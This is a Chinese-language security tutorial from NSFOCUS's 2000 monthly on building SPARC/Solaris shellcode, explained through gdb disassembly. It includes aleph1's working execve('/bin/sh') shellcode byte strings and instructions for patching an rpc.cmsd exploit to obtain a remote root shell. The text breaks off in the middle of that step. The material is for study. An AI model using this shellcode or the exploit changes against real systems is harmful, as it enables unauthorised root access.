首页 -> 安全研究
安全研究
绿盟月刊
绿盟安全月刊->第8期->安全文摘
主页:http://www.nsfocus.com
日期:2000-04-12
作者:scz < mailto: scz@nsfocus.com >
主页:http://www.nsfocus.com
前言:
本文的目的是讲述如何针对sparc架构编写自己的shellcode,因为我对sparc架
构下的汇编语言很不熟悉,只能碰上问题再临时找资料,本来想写得精彩点,
但tt催命,只好先到此交差告一段落。接下来会写一个针对sparc架构的系列,
前提是tt不催命。
测试:
SunOS 5.7 Generic sun4u sparc SUNW,Ultra-5_10
目录:
1. shellcode.c for solaris 2.7
2. solaris for sparc下的汇编语言
3. 利用objdump研究汇编代码
4. shellcode_exit.c for solaris 2.7
5. 用gdb调试观察shellcode.c
6. 简单总结一下伪汇编代码
7. aleph1提供的两个shellcode for sparc
8. 对sethi指令的解释
9. 修改rpc.cmsd的exploit code
10. 使用/bin/ksh的shellcode
1. shellcode.c for solaris 2.7
--------------------------------------------------------------------------
#include <stdio.h>
int main ( int argc, char * argv[] )
{
char * name[2];
name[0] = "/bin/ksh";
name[1] = NULL;
execve( name[0], name, NULL );
return 0;
} /* end of main */
--------------------------------------------------------------------------
[scz@ /space/staff/scz/src]> cat > shellcode.c
[scz@ /space/staff/scz/src]> gcc -g -ggdb -static -o shellcode shellcode.c
[scz@ /space/staff/scz/src]> gdb shellcode
GNU gdb 4.18
This GDB was configured as "sparc-sun-solaris2.7"...
(gdb) disassemble main <-- -- -- 输入
Dump of assembler code for function main:
0x101b8 <main> : save %sp, -120, %sp
0x101bc <main+4> : st %i0, [ %fp + 0x44 ]
0x101c0 <main+8> : st %i1, [ %fp + 0x48 ]
0x101c4 <main+12>: sethi %hi(0x2d000), %o1
0x101c8 <main+16>: or %o1, 0x2d8, %o0 ! 0x2d2d8 <_lib_version+8>
0x101cc <main+20>: st %o0, [ %fp + -24 ]
0x101d0 <main+24>: clr [ %fp + -20 ]
0x101d4 <main+28>: add %fp, -24, %o1
0x101d8 <main+32>: ld [ %fp + -24 ], %o0
0x101dc <main+36>: clr %o2
0x101e0 <main+40>: call 0x10da0 <execve>
0x101e4 <main+44>: nop
0x101e8 <main+48>: clr %i0 ! 0x0
0x101ec <main+52>: b 0x101f4 <main+60>
0x101f0 <main+56>: nop
0x101f4 <main+60>: ret
0x101f8 <main+64>: restore
End of assembler dump.
(gdb) x/4bx main <-- -- -- 得到main的机器码
0x101b8 <main> : 0x9d 0xe3 0xbf 0x88
(gdb) x/4bx
0x101bc <main+4> : 0xf0 0x27 0xa0 0x44
(gdb) x/4bx
0x101c0 <main+8> : 0xf2 0x27 0xa0 0x48
(gdb) x/4bx
0x101c4 <main+12>: 0x13 0x00 0x00 0xb4
(gdb) x/4bx
0x101c8 <main+16>: 0x90 0x12 0x62 0xd8
(gdb) x/4bx
0x101cc <main+20>: 0xd0 0x27 0xbf 0xe8
(gdb) x/4bx
0x101d0 <main+24>: 0xc0 0x27 0xbf 0xec
(gdb) x/4bx
0x101d4 <main+28>: 0x92 0x07 0xbf 0xe8
(gdb) x/4bx
0x101d8 <main+32>: 0xd0 0x07 0xbf 0xe8
(gdb) x/4bx
0x101dc <main+36>: 0x94 0x10 0x20 0x00
(gdb) x/4bx
0x101e0 <main+40>: 0x40 0x00 0x02 0xf0
(gdb) x/4bx <-- -- -- nop指令
0x101e4 <main+44>: 0x01 0x00 0x00 0x00
(gdb) x/4bx
0x101e8 <main+48>: 0xb0 0x10 0x20 0x00
(gdb) x/4bx
0x101ec <main+52>: 0x10 0x80 0x00 0x02
(gdb) x/4bx <-- -- -- nop指令
0x101f0 <main+56>: 0x01 0x00 0x00 0x00
(gdb) x/4bx
0x101f4 <main+60>: 0x81 0xc7 0xe0 0x08
(gdb) x/4bx
0x101f8 <main+64>: 0x81 0xe8 0x00 0x00
(gdb) disas execve
Dump of assembler code for function execve:
0x10da0 <execve> : mov 0x3b, %g1 <-- -- -- 怀疑这个就是功能号
0x10da4 <execve+4> : ta 8
0x10da8 <execve+8> : bcc 0x10dbc <_exit>
0x10dac <execve+12>: sethi %hi(0x16400), %o5
0x10db0 <execve+16>: or %o5, 0x34c, %o5 ! 0x1674c <_cerror>
0x10db4 <execve+20>: jmp %o5
0x10db8 <execve+24>: nop
End of assembler dump.
(gdb) x/4bx execve <-- -- -- 得到execve的机器码
0x10da0 <execve> : 0x82 0x10 0x20 0x3b
(gdb) x/4bx
0x10da4 <execve+4> : 0x91 0xd0 0x20 0x08
(gdb) x/4bx
0x10da8 <execve+8> : 0x1a 0x80 0x00 0x05
(gdb) x/4bx
0x10dac <execve+12>: 0x1b 0x00 0x00 0x59
(gdb) x/4bx
0x10db0 <execve+16>: 0x9a 0x13 0x63 0x4c
(gdb) x/4bx
0x10db4 <execve+20>: 0x81 0xc3 0x40 0x00
(gdb) x/4bx
0x10db8 <execve+24>: 0x01 0x00 0x00 0x00
(gdb) disas exit
Dump of assembler code for function exit:
0x167a0 <exit> : save %sp, -96, %sp
0x167a4 <exit+4> : call 0x10d18 <_exithandle>
0x167a8 <exit+8> : nop
0x167ac <exit+12>: restore
0x167b0 <exit+16>: mov 1, %g1 <-- -- -- 对比这里和下面的<_exit>
0x167b4 <exit+20>: ta 8
End of assembler dump.
(gdb) disas _exit
Dump of assembler code for function _exit:
0x10dbc <_exit> : mov 1, %g1 ! 0x1 对比这里和上面的<exit+16>
0x10dc0 <_exit+4>: ta 8
End of assembler dump.
(gdb) x/4bx _exit <-- -- -- 得到_exit的机器码
0x10dbc <_exit>: 0x82 0x10 0x20 0x01
(gdb) x/4bx
0x10dc0 <_exit+4>: 0x91 0xd0 0x20 0x08
(gdb) q
[scz@ /space/staff/scz/src]>
观察上述反汇编结果,sparc下是严格的4字节指令,每条指令都是4个字节。
整理如下:
<main> : 9d e3 bf 88 save %sp, -120, %sp
<main+4> : f0 27 a0 44 st %i0, [ %fp + 0x44 ]
<main+8> : f2 27 a0 48 st %i1, [ %fp + 0x48 ]
<main+12>: 13 00 00 b4 sethi %hi(0x2d000), %o1
! char * name[2];
! name[0] = "/bin/ksh";
<main+16>: 90 12 62 d8 or %o1, 0x2d8, %o0 ! 0x2d2d8 <_lib_version+8>
! 0x2d2d8 --> "/bin/ksh"
<main+20>: d0 27 bf e8 st %o0, [ %fp + -24 ]
! %fp - 24 对应 name[0]
! name[0]已经被赋值成指针
<main+24>: c0 27 bf ec clr [ %fp + -20 ] ! name[1] = NULL;
! %fp - 20 对应 name[1]
! name[1]已经赋值成空
<main+28>: 92 07 bf e8 add %fp, -24, %o1 ! %fp - 24 ==> %o1
! 现在%o1 对应 name[0]的地址
! execve( name[0], name, NULL );
<main+32>: d0 07 bf e8 ld [ %fp + -24 ], %o0
! [ %fp + -24 ] ==> %o0
! 现在%o0等于name[0]的值,指向"/bin/ksh"的指针
<main+36>: 94 10 20 00 clr %o2 ! %o2寄存器清零
<main+40>: 40 00 02 f0 call 0x10da0 <execve> ! 先给%o7赋值保存返回地址,然后做跳转
<main+44>: 01 00 00 00 nop
<main+48>: b0 10 20 00 clr %i0 ! 0x0
! return 0;
<main+52>: 10 80 00 02 b 0x101f4 <main+60>
! Branch 语句
<main+56>: 01 00 00 00 nop
<main+60>: 81 c7 e0 08 ret
<main+64>: 81 e8 00 00 restore
<execve> : 82 10 20 3b mov 0x3b, %g1
<execve+4> : 91 d0 20 08 ta 8
<execve+8> : 1a 80 00 05 bcc 0x10dbc <_exit>
<execve+12>: 1b 00 00 59 sethi %hi(0x16400), %o5
<execve+16>: 9a 13 63 4c or %o5, 0x34c, %o5 ! 0x1674c <_cerror>
<execve+20>: 81 c3 40 00 jmp %o5
<execve+24>: 01 00 00 00 nop
<_exit> : 82 10 20 01 mov 1, %g1 ! 0x1 对比这里和上面的<exit+16>
<_exit+4>: 91 d0 20 08 ta 8
2. solaris for sparc下的汇编语言
下面是一些简单的来自solaris answerbook的关于汇编语言的语法解释:
address ---- regrs1 + regrs2
regrs1 + const13
regrs1 - const13
const13 + regrs1
const13
---- 地址的语法构成,总共有五种构成方式
const13 ---- 一个13bit的常量,可以是一个符号表达式的评价值
(参考c语言中关于评价值的解释)
const22 ---- 一个22bit的常量,可以是一个符号表达式的评价值
(参考c语言中关于评价值的解释)
imm7 ---- A signed or unsigned constant that can be represented
in 7 bits (it is in the range -64 ... 127). It can be
the result of the evaluation of a symbol expression.
uimm7 ---- An unsigned constant that can be represented in 7 bits
(it is in the range 0 ... 127). It can be the result
of the evaluation of a symbol expression.
regrd ---- 目标寄存器
regrs1, regrs2 ---- 源寄存器1,源寄存器2
reg_or_imm ---- regrs2, const13 ---- 来自某个寄存器的值,或者常量
regaddr ---- regrs1
regrs1 + regrs2
---- 仅仅由寄存器值构成的地址
freg ---- %f0 ... %f31 ---- 浮点寄存器
creg ---- %c0 ... %c31 ---- Coprocessor registers.
reg ---- %r0 ... %r31 ---- General purpose registers.
%g0 ... %g7 ---- Same as %r0 ... %r7 (Globals)
%o0 ... %o7 ---- Same as %r8 ... %r15 (Outs)
%l0 ... %l7 ---- Same as %r16 ... %r23 (Locals)
%i0 ... %i7 ---- Same as %r24 ... %r31 (Ins)
相关指令集:
save regrs1, reg_or_imm, regrd
restore regrs1, reg_or_imm, regrd
st regrd, [address]
add regrs1, reg_or_imm, regrd ---- Add
call label ---- Call subprogram
ld [address], regrd ---- Load word
or regrs1, reg_or_imm, regrd ---- Inclusive or
sethi const22, regrd ---- Set high 22 bits of register
sethi %hi(value), regrd ---- if ((value & 0x3ff) == 0)
nop ---- No operation
jmpl address, regrd ---- Jump and link
clr regrd ---- or %g0, %g0, regrd ---- Clear (zero) register
clr [address] ---- st %g0, [address] ---- Clear word
mov reg_or_imm, regrd ---- or %g0, reg_or_imm, regrd
call reg_or_imm ---- jmpl reg_or_imm, %o7
jmp address ---- jmpl address, %g0
set value, regrd ---- sethi %hi(value), regrd
---- if ((value & 0x3ff) == 0)
3. 利用objdump研究汇编代码
GNU objdump 位于binutils-x.x.gz包(x.x是版本号)中,缺省情况下
solaris for sparc是没有这些二进制工具的,需要自己去下载安装,
比如:
ftp://sunsite.ccu.edu.tw/pub/freeware/sparc/2.5/binutils-2.7.gz
[scz@ /space/staff/scz/src]> objdump -j .text -Sl shellcode | more
/main(查找)
...跳过
main():
/space/staff/scz/src/shellcode.c:3
int main ( int argc, char * argv[] )
{
000101b8 <main> save %sp, -120, %sp
000101bc <main+4> st %i0, [ %fp + 0x44 ]
000101c0 <main+8> st %i1, [ %fp + 0x48 ]
/space/staff/scz/src/shellcode.c:6
char * name[2];
name[0] = "/bin/ksh";
000101c4 <main+c> sethi %hi(0x2d000), %o1
000101c8 <main+10> or %o1, 0x2d8, %o0 ! 0002d2d8 <_lib_version+8>
000101cc <main+14> st %o0, [ %fp + -24 ]
/space/staff/scz/src/shellcode.c:7
name[1] = NULL;
000101d0 <main+18> clr [ %fp + -20 ]
/space/staff/scz/src/shellcode.c:8
execve( name[0], name, NULL );
000101d4 <main+1c> add %fp, -24, %o1
000101d8 <main+20> ld [ %fp + -24 ], %o0
000101dc <main+24> clr %o2
000101e0 <main+28> call 00010da0 <_execve>
000101e4 <main+2c> nop
/space/staff/scz/src/shellcode.c:9
return 0;
000101e8 <main+30> clr %i0 ! 00000000 <_DYNAMIC>
000101ec <main+34> b 000101f4 <main+3c>
000101f0 <main+38> nop
/space/staff/scz/src/shellcode.c:10
} /* end of main */
000101f4 <main+3c> ret
000101f8 <main+40> restore
打破的管道 <-- -- -- 输入q
[scz@ /space/staff/scz/src]>
objdump for sparc并不像objdump for x86那样会给出机器码,所以
还是需要gdb的辅助。
4. shellcode_exit.c for solaris 2.7
--------------------------------------------------------------------------
#include <stdlib.h>
int main ( int argc, char * argv[] )
{
_exit( 0 );
} /* end of main */
--------------------------------------------------------------------------
[scz@ /space/staff/scz/src]> cat > shellcode_exit.c
[scz@ /space/staff/scz/src]> gcc -g -ggdb -static -o shellcode_exit shellcode_exit.c
[scz@ /space/staff/scz/src]> gdb shellcode_exit
GNU gdb 4.18
This GDB was configured as "sparc-sun-solaris2.7"...
(gdb) disassemble main <-- -- -- 输入
Dump of assembler code for function main:
0x101b8 <main> : save %sp, -112, %sp ! 注意这三条指令
0x101bc <main+4> : st %i0, [ %fp + 0x44 ] ! 注意这三条指令
0x101c0 <main+8> : st %i1, [ %fp + 0x48 ] ! 注意这三条指令
0x101c4 <main+12>: clr %o0
0x101c8 <main+16>: call 0x10d7c <_exit>
0x101cc <main+20>: nop
0x101d0 <main+24>: ret
0x101d4 <main+28>: restore
End of assembler dump.
(gdb) x/4bx main <-- -- -- 得到main的机器码
0x101b8 <main> : 0x9d 0xe3 0xbf 0x90
(gdb) x/4bx
0x101bc <main+4> : 0xf0 0x27 0xa0 0x44
(gdb) x/4bx
0x101c0 <main+8> : 0xf2 0x27 0xa0 0x48
(gdb) x/4bx
0x101c4 <main+12>: 0x90 0x10 0x20 0x00
(gdb) x/4bx
0x101c8 <main+16>: 0x40 0x00 0x02 0xed
(gdb) x/4bx
0x101cc <main+20>: 0x01 0x00 0x00 0x00
(gdb) x/4bx
0x101d0 <main+24>: 0x81 0xc7 0xe0 0x08
(gdb) x/4bx
0x101d4 <main+28>: 0x81 0xe8 0x00 0x00
(gdb) disas _exit
Dump of assembler code for function _exit:
0x10d7c <_exit> : mov 1, %g1
0x10d80 <_exit+4>: ta 8
End of assembler dump.
(gdb) x/4bx _exit <-- -- -- 得到_exit的机器码
0x10d7c <_exit>: 0x82 0x10 0x20 0x01
(gdb) x/4bx
0x10d80 <_exit+4>: 0x91 0xd0 0x20 0x08
(gdb) q
[scz@ /space/staff/scz/src]>
整理得到:
0x101b8 <main> : 9d e3 bf 90 save %sp, -112, %sp ! 注意这三条指令
0x101bc <main+4> : f0 27 a0 44 st %i0, [ %fp + 0x44 ] ! 注意这三条指令
0x101c0 <main+8> : f2 27 a0 48 st %i1, [ %fp + 0x48 ] ! 注意这三条指令
0x101c4 <main+12>: 90 10 20 00 clr %o0
0x101c8 <main+16>: 40 00 02 ed call 0x10d7c <_exit>
0x101cc <main+20>: 01 00 00 00 nop
0x101d0 <main+24>: 81 c7 e0 08 ret
0x101d4 <main+28>: 81 e8 00 00 restore
<_exit> : 82 10 20 01 mov 1, %g1 ! 0x1
<_exit+4>: 91 d0 20 08 ta 8 ! 这个应该相当于int指令吧
5. 用gdb调试观察shellcode.c
[scz@ /space/staff/scz/src]> gdb shellcode
GNU gdb 4.18
This GDB was configured as "sparc-sun-solaris2.7"...
(gdb) break main
Breakpoint 1 at 0x101c4: file shellcode.c, line 6.
(gdb) run
Starting program: /space/staff/scz/src/shellcode
Breakpoint 1, main (argc=1, argv=0xffbefcf4) at shellcode.c:6
6 name[0] = "/bin/ksh";
(gdb) p &argc
$1 = (int *) 0xffbefcd4
(gdb) p argc
$2 = 1
(gdb) p argv
$3 = (char **) 0xffbefcf4
(gdb) n <-- -- -- 单步执行
7 name[1] = NULL;
(gdb) inf line
Line 7 of "shellcode.c" starts at address 0x101d0 <main+24> and ends at 0x101d4 <main+28>.
(gdb) n <-- -- -- 单步执行
8 execve( name[0], name, NULL );
(gdb) inf reg $fp <-- -- -- 查看寄存器%fp
fp 0xffbefc90 -4260720
(gdb) x/s 0x0002d2d8
0x2d2d8 <_lib_version+8>: "/bin/ksh"
(gdb) x/4bx $fp - 24 <-- -- -- 检查name[0],name[0]的值是个指针0x2d2d8
0xffbefc78: 0x00 0x02 0xd2 0xd8 <-- -- -- 这里是big endian
(gdb) x/4bx $fp - 20 <-- -- -- 检查name[1]
0xffbefc7c: 0x00 0x00 0x00 0x00
(gdb) si <-- -- -- 单步执行汇编指令
0x101d8 8 execve( name[0], name, NULL );
(gdb) inf reg pc <-- -- -- 相当于x86架构的EIP寄存器
pc 0x101d8 66008
(gdb) p $fp
$4 = -4260720
(gdb) p $o1 <-- -- -- 此时等于 $fp - 24
$5 = -4260744
(gdb) x/4bx $o1 <-- -- -- $o1现在对应name[0]的地址,该地址处存放了指针0x0002d2d8
0xffbefc78: 0x00 0x02 0xd2 0xd8
(gdb) x/s 0x0002d2d8 <-- -- -- 该指针指向字符串"/bin/ksh"
0x2d2d8 <_lib_version+8>: "/bin/ksh"
(gdb) si <-- -- -- 单步执行汇编指令
0x101dc 8 execve( name[0], name, NULL );
(gdb) p/x $o0
$6 = 0x2d2d8
(gdb) x/s $o0 <-- -- -- $o0现在对应name[0]的值,即指针0x0002d2d8本身
0x2d2d8 <_lib_version+8>: "/bin/ksh"
(gdb) p $o2 <-- -- -- 检查$o2寄存器,与后面做比较
$7 = 281600
(gdb) si <-- -- -- 这里实际执行了 clr %o2 ,%o2现在应该为0
0x101e0 8 execve( name[0], name, NULL );
(gdb) p $o2
$8 = 0 <-- -- -- 验证$o2寄存器已经清零
(gdb) p $o7 <-- -- -- 检查$o7寄存器,与后面做比较
$9 = 184996
(gdb) p $pc <-- -- -- 检查$pc寄存器,与后面做比较
$10 = 66016 <-- -- -- 66016(10) == 101e0(16)
(gdb) si <-- -- -- 执行 call 0x10da0 <execve>
0x101e4 8 execve( name[0], name, NULL );
(gdb) p $o7
$11 = 66016 <-- -- -- $o7寄存器保存了call发生前$pc寄存器的值
(gdb) p $pc <-- -- -- call命令先做到$o7寄存器的保存,后跳转
$12 = 66020 <-- -- -- 66020(10) == 101e4(16)
(gdb) si <-- -- -- 这里实际执行了jmpl 0x10da0 <execve>
0x10da0 in execve ()
(gdb) p $pc
$13 = 69024 <-- -- -- 69024(10) == 10da0(16)
(gdb) p $o7
$14 = 66016 <-- -- -- $o7寄存器将来用做计算call命令的返回地址
(gdb) q
The program is running. Exit anyway? (y or n) y
[scz@ /space/staff/scz/src]>
从上面对call指令的分析中可以看出,call指令后面的nop指令不是凭空产生的,而
是因为call指令本身是个伪指令,实际对应了两条机器码,先给$o7赋值,后跳转,
需要用nop指令留出4字节空间。我这是不专业的解释,但可以这样理解。以此类推,
如果某条汇编指令后面跟着一条nop指令,就可以考虑研究它是否由两条机器码构成。
如果自己写汇编代码,似乎也应该注意到这个问题,比如call指令后必须增加一条看
似无意义的nop指令。注意,jmp指令和call指令存在同样的问题。关于汇编指令和机
器码的细节,请参看solaris answerbook,一般在8888端口上提供服务。
6. 简单总结一下伪汇编代码
--------------------------------------------------------------------------
! %o0 指向字符串"/bin/sh"
! $o1 存放一个地址,该地址处存放了指向字符串的指针
xor %o2, %o2, %o2 ! %o2寄存器清零
mov 0x3b, %g1 ! 将0x3b拷贝到%g1寄存器中
ta 8 ! 执行中断指令ta 8(execve()完成)
xor %o7, %o7, %o0 ! %o0寄存器清零
mov 1, %g1 ! 将1拷贝到%g1寄存器中
ta 8 ! 执行中断指令ta 8(_exit(0)完成)
--------------------------------------------------------------------------
7. aleph1提供的两个shellcode for sparc
--------------------------------------------------------------------------
/* SPARC/Solaris shellcode */
int main ()
{
__asm__
("
sethi 0xbd89a, %l6 ! sethi %hi(0x2f626800), %l6
or %l6, 0x16e, %l6
sethi 0xbdcda, %l7 ! sethi %hi(0x2f736800), %l7
and %sp, %sp, %o0 ! $o0 指向字符串/bin/sh
add %sp, 8, %o1 ! $o1 存放一个地址,该地址处存放了指向字符串的指针
xor %o2, %o2, %o2 ! %o2寄存器清零
add %sp, 16, %sp ! 留出存储空间
std %l6, [%sp - 16] ! 存放字符串
st %sp, [%sp - 8] ! 存放字符串指针
st %g0, [%sp - 4] ! %g0总是为0
mov 0x3b, %g1 ! 将0x3b拷贝到%g1寄存器中
ta 8 ! 执行中断指令ta 8(execve()完成)
xor %o7, %o7, %o0 ! %o0寄存器清零
mov 1, %g1 ! 将1拷贝到%g1寄存器中
ta 8 ! 执行中断指令ta 8(_exit(0)完成)
");
} /* end of main */
--------------------------------------------------------------------------
[scz@ /space/staff/scz/src]> cat > shellcodeasm.c
[scz@ /space/staff/scz/src]> gcc -g -ggdb -static -o shellcodeasm shellcodeasm.c
[scz@ /space/staff/scz/src]> ./shellcodeasm
$ exit
[scz@ /space/staff/scz/src]> gdb ./shellcodeasm
GNU gdb 4.18
This GDB was configured as "sparc-sun-solaris2.7"...
(gdb) disas main
Dump of assembler code for function main:
0x101b8 <main> : save %sp, -112, %sp
0x101bc <main+4> : sethi %hi(0x2f626800), %l6
0x101c0 <main+8> : or %l6, 0x16e, %l6 ! 0x2f62696e
0x101c4 <main+12>: sethi %hi(0x2f736800), %l7
0x101c8 <main+16>: and %sp, %sp, %o0
0x101cc <main+20>: add %sp, 8, %o1
0x101d0 <main+24>: xor %o2, %o2, %o2
0x101d4 <main+28>: add %sp, 0x10, %sp
0x101d8 <main+32>: std %l6, [ %sp + -16 ]
0x101dc <main+36>: st %sp, [ %sp + -8 ]
0x101e0 <main+40>: clr [ %sp + -4 ]
0x101e4 <main+44>: mov 0x3b, %g1
0x101e8 <main+48>: ta 8
0x101ec <main+52>: xor %o7, %o7, %o0
0x101f0 <main+56>: mov 1, %g1
0x101f4 <main+60>: ta 8
0x101f8 <main+64>: ret
0x101fc <main+68>: restore
End of assembler dump.
(gdb) x/60bx main+4 <-- -- -- 提取shellcode
0x101bc <main+4>: 0x2d 0x0b 0xd8 0x9a 0xac 0x15 0xa1 0x6e
0x101c4 <main+12>: 0x2f 0x0b 0xdc 0xda 0x90 0x0b 0x80 0x0e
0x101cc <main+20>: 0x92 0x03 0xa0 0x08 0x94 0x1a 0x80 0x0a
0x101d4 <main+28>: 0x9c 0x03 0xa0 0x10 0xec 0x3b 0xbf 0xf0
0x101dc <main+36>: 0xdc 0x23 0xbf 0xf8 0xc0 0x23 0xbf 0xfc
0x101e4 <main+44>: 0x82 0x10 0x20 0x3b 0x91 0xd0 0x20 0x08
0x101ec <main+52>: 0x90 0x1b 0xc0 0x0f 0x82 0x10 0x20 0x01
0x101f4 <main+60>: 0x91 0xd0 0x20 0x08
(gdb) q
[scz@ /space/staff/scz/src]>
整理如下:
char shellcode[] =
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
"\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
"\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";
--------------------------------------------------------------------------
/* SPARC/SunOS shellcode */
int main ()
{
__asm__
("
sethi 0xbd89a, %l6 ! sethi %hi(0x2f626800), %l6
or %l6, 0x16e, %l6
sethi 0xbdcda, %l7 ! sethi %hi(0x2f736800), %l7
and %sp, %sp, %o0 ! $o0 指向字符串/bin/sh
add %sp, 8, %o1 ! $o1 存放一个地址,该地址处存放了指向字符串的指针
xor %o2, %o2, %o2 ! %o2寄存器清零
add %sp, 16, %sp ! 留出存储空间
std %l6, [%sp - 16] ! 存放字符串
st %sp, [%sp - 8] ! 存放字符串指针
st %g0, [%sp - 4] ! %g0总是为0
mov 0x3b, %g1 ! 将0x3b拷贝到%g1寄存器中
mov -0x1, %l5
ta %l5 + 1 ! 执行中断指令ta (execve()完成)
xor %o7, %o7, %o0 ! %o0寄存器清零
mov 1, %g1 ! 将1拷贝到%g1寄存器中
ta %l5 + 1 ! 执行中断指令ta (_exit(0)完成)
");
} /* end of main */
--------------------------------------------------------------------------
[scz@ /space/staff/scz/src]> cat > shellcode_asm.c
[scz@ /space/staff/scz/src]> gcc -g -ggdb -static -o shellcode_asm shellcode_asm.c
[scz@ /space/staff/scz/src]> ./shellcode_asm
$ exit
[scz@ /space/staff/scz/src]> gdb shellcode_asm
GNU gdb 4.18
This GDB was configured as "sparc-sun-solaris2.7"...
(gdb) disas main
Dump of assembler code for function main:
0x101b8 <main> : save %sp, -112, %sp
0x101bc <main+4> : sethi %hi(0x2f626800), %l6
0x101c0 <main+8> : or %l6, 0x16e, %l6 ! 0x2f62696e
0x101c4 <main+12>: sethi %hi(0x2f736800), %l7
0x101c8 <main+16>: and %sp, %sp, %o0
0x101cc <main+20>: add %sp, 8, %o1
0x101d0 <main+24>: xor %o2, %o2, %o2
0x101d4 <main+28>: add %sp, 0x10, %sp
0x101d8 <main+32>: std %l6, [ %sp + -16 ]
0x101dc <main+36>: st %sp, [ %sp + -8 ]
0x101e0 <main+40>: clr [ %sp + -4 ]
0x101e4 <main+44>: mov 0x3b, %g1
0x101e8 <main+48>: mov -1, %l5
0x101ec <main+52>: ta %l5 + 1
0x101f0 <main+56>: xor %o7, %o7, %o0
0x101f4 <main+60>: mov 1, %g1
0x101f8 <main+64>: ta %l5 + 1
0x101fc <main+68>: ret
0x10200 <main+72>: restore
End of assembler dump.
(gdb) x/64bx main+4 <-- -- -- 提取shellcode
0x101bc <main+4>: 0x2d 0x0b 0xd8 0x9a 0xac 0x15 0xa1 0x6e
0x101c4 <main+12>: 0x2f 0x0b 0xdc 0xda 0x90 0x0b 0x80 0x0e
0x101cc <main+20>: 0x92 0x03 0xa0 0x08 0x94 0x1a 0x80 0x0a
0x101d4 <main+28>: 0x9c 0x03 0xa0 0x10 0xec 0x3b 0xbf 0xf0
0x101dc <main+36>: 0xdc 0x23 0xbf 0xf8 0xc0 0x23 0xbf 0xfc
0x101e4 <main+44>: 0x82 0x10 0x20 0x3b 0xaa 0x10 0x3f 0xff
0x101ec <main+52>: 0x91 0xd5 0x60 0x01 0x90 0x1b 0xc0 0x0f
0x101f4 <main+60>: 0x82 0x10 0x20 0x01 0x91 0xd5 0x60 0x01
(gdb) q
[scz@ /space/staff/scz/src]>
整理如下:
char shell_code[] =
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
"\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff"
"\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01";
8. 对sethi指令的解释
研究aleph1提供的这两个shellcode,如果用/bin/sh的16进制表示搜索,是找不到的,
那么关键在于什么?关键在于这里提供的shellcode中,/bin/sh不是以常量字符串形
式存在,而是由汇编指令动态构建的,也就是下面的三条指令。这三条指令把字符串
"/bin/sh"存储在 %l6 + %l7 寄存器对中,注意该字符串(包括结尾的null)总共占用
了8个字节,刚好是两个寄存器。而 std %l6, [ %sp + -16 ] 指令中的std是指操
作double word,也就是操作 %l6 + %l7 寄存器对。
至于sethi指令的意思在条目2中已经提到,设置目标寄存器的高22bit。
"/bin/sh"的16进制表示是0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68 0x00。二进制表示
是00101111 01100010 01101001 01101110 00101111 01110011 01101000 00000000。
而前22bit是00101111 01100010 011010,这个值对应16进制的0xbd89a,也就是你在
aleph1所提供的汇编代码中看到的魔术数字。那么接下来的10bit是01 01101110,
对应16进制的0x16e。接下来00101111 01110011 01101000 00000000的前22bit
00101111 01110011 011010对应16进制的0xbdcda,最后的10bit是00 00000000,不
用特别处理,所以没有or指令跟在sethi指令后面。
--------------------------------------------------------------------------
sethi %hi(0x2f626800), %l6 ! sethi 0xbd89a, %l6
or %l6, 0x16e, %l6
sethi %hi(0x2f736800), %l7 ! sethi 0xbdcda, %l7
... ...
std %l6, [ %sp + -16 ]
--------------------------------------------------------------------------
由这里的分析我们可以想到什么?首先,如果使用/bin/sh的话,一般应该在
shellcode的头部找到这样的特征串:
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda"
对应上述三条指令。反之,如果你搜索到了这个特征串,那么极大可能使用了
/bin/sh。其次,如果你要修改成使用/bin/ksh,而且依旧采用这种技术,那么要做
的应该是分多次利用sethi指令构建字符串,比如/bin/ksh。第三,有种版本的
rpc.cmsd的exploit code,其中使用了/tmp/iss,你在shellcode中找不到对应字符
串,实际上它也是使用了sethi指令动态构建这个字符串的,可能是iss的程序员出于
某种想法而做的保护措施,以至于绝大多数人只能靠在本机建立/tmp/iss作为shell
溢出成功,而无法远程溢出取得root shell。对于那些真正研究代码学习编程的人,
修改它则是非常容易的事情。
9. 修改rpc.cmsd的exploit code
下面是需要修改的关键地方:
--------------------------------------------------------------------------
"\x2d\x0b\xdd\x1b" /* sethi %hi(0x2f746c00), %l6 */
"\xac\x15\xa1\x70" /* or %l6, 0x170, %l6 - "/tmp" */
"\x2f\x0b\xda\x5c" /* sethi %hi(0x2f697000), %l7 */
"\xae\x15\xe3\x73" /* or %l7, 0x373, %l7 - "/iss" */
--------------------------------------------------------------------------
我们可以考虑把它修改成使用/bin/ksh。"/bin/ksh"的16进制表示是0x2f 0x62 0x69
0x6e 0x2f 0x6b 0x73 0x68 0x00。二进制表示是00101111 01100010 01101001
01101110 00101111 01101011 01110011 01101000 00000000。前22bit等于0xbd89a,
接下来的10bit等于0x16e,再下来的22bit等于0xbdadc,最后的10bit等于0x368,需
要用or指令处理一下。我们把这些汇编指令放入一个main函数,编译后用gdb取得最
后的机器码
--------------------------------------------------------------------------
/* getcode.c */
int main ()
{
__asm__
("
sethi 0xbd89a, %l6
or %l6, 0x16e, %l6
sethi 0xbdadc, %l7
or %l7, 0x368, %l7
");
} /* end of main */
--------------------------------------------------------------------------
[scz@ /space/staff/scz/src]> cat > getcode.c
[scz@ /space/staff/scz/src]> gcc -g -ggdb -static -o getcode getcode.c
[scz@ /space/staff/scz/src]> gdb getcode
GNU gdb 4.18
This GDB was configured as "sparc-sun-solaris2.7"...
(gdb) disas main
Dump of assembler code for function main:
0x101b8 <main> : save %sp, -112, %sp
0x101bc <main+4> : sethi %hi(0x2f626800), %l6
0x101c0 <main+8> : or %l6, 0x16e, %l6 ! 0x2f62696e
